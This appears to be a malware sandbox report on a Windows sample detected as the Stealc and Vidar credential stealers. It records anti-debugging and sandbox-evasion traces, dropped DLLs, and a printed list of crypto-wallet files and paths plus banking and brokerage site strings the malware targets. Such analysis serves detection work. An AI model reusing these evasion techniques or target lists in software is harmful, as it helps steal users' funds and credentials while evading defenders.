Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFB56 second address: ECFB5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1EF7 second address: ED1F14 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F743483EA04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1F14 second address: ED1F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED61C4 second address: ED61C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED61C8 second address: ED61CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED61CC second address: ED61D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED61D6 second address: ED61DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6593 second address: ED65CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D3496h], ebx 0x0000000f push dword ptr [ebp+122D1A15h] 0x00000015 mov dword ptr [ebp+122D3574h], eax 0x0000001b push E46553A9h 0x00000020 je 00007F743483EA0Fh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F743483EA01h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7CCC second address: ED7CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED96BF second address: ED96C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED96C4 second address: ED96CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED96CB second address: ED96D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED96D3 second address: ED96D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E01FE second address: 51E0202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0202 second address: 51E0208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0208 second address: 51E020E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E020E second address: 51E0212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0212 second address: 51E0216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0216 second address: 51E023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F743477F924h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E023B second address: 51E023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E023F second address: 51E0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0245 second address: 51E024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0269 second address: 51E026E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E026E second address: 51E030D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F743483EA08h 0x0000000a or cx, 7578h 0x0000000f jmp 00007F743483E9FBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a jmp 00007F743483EA04h 0x0000001f mov cx, BF31h 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 movsx edx, si 0x00000029 mov si, 8D25h 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F743483E9FEh 0x00000036 jmp 00007F743483EA05h 0x0000003b popfd 0x0000003c mov ax, 4667h 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F743483EA09h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E030D second address: 51E0313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0313 second address: 51E0317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0317 second address: 51E031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E031B second address: 51E033A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F743483EA00h 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E033A second address: 51E0365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F743477F91Dh 0x00000009 and eax, 4B2FAB96h 0x0000000f jmp 00007F743477F921h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB9AA second address: DFB9CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b je 00007F743483E9FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0AE9 second address: 51E0AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0AEF second address: 51E0AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0AF3 second address: 51E0B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F743477F926h 0x00000011 push eax 0x00000012 jmp 00007F743477F91Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0B36 second address: 51E0B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0B3A second address: 51E0B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C519AD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C51A66 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C4F236 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E7650C instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A04910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A04910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_009FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_009FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A03EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A03EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009FF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_009FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_009FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A04570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A04570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009FDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F1160 GetSystemInfo,ExitProcess,

0_2_009F1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: KEHCGCGC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: KEHCGCGC.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: KEHCGCGC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: KEHCGCGC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2419533925.0000000001503000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KEHCGCGC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: KEHCGCGC.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: KEHCGCGC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: KEHCGCGC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: KEHCGCGC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: KEHCGCGC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: KEHCGCGC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: KEHCGCGC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: KEHCGCGC.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: KEHCGCGC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: KEHCGCGC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: KEHCGCGC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: KEHCGCGC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: KEHCGCGC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-48330
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-48327
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-49518
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-48342
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-48349
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-48382

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB35FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB35FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009F45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_009F45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00A09860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A09750 mov eax, dword ptr fs:[00000030h]

0_2_00A09750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A078E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00A078E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CB0B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CB0B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5916, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A09600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00A09600

Source: file.exe, file.exe, 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Y.Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00A07B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A07980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00A07980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A07850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00A07850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A07A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00A07A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2173789827.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5916, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5916, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
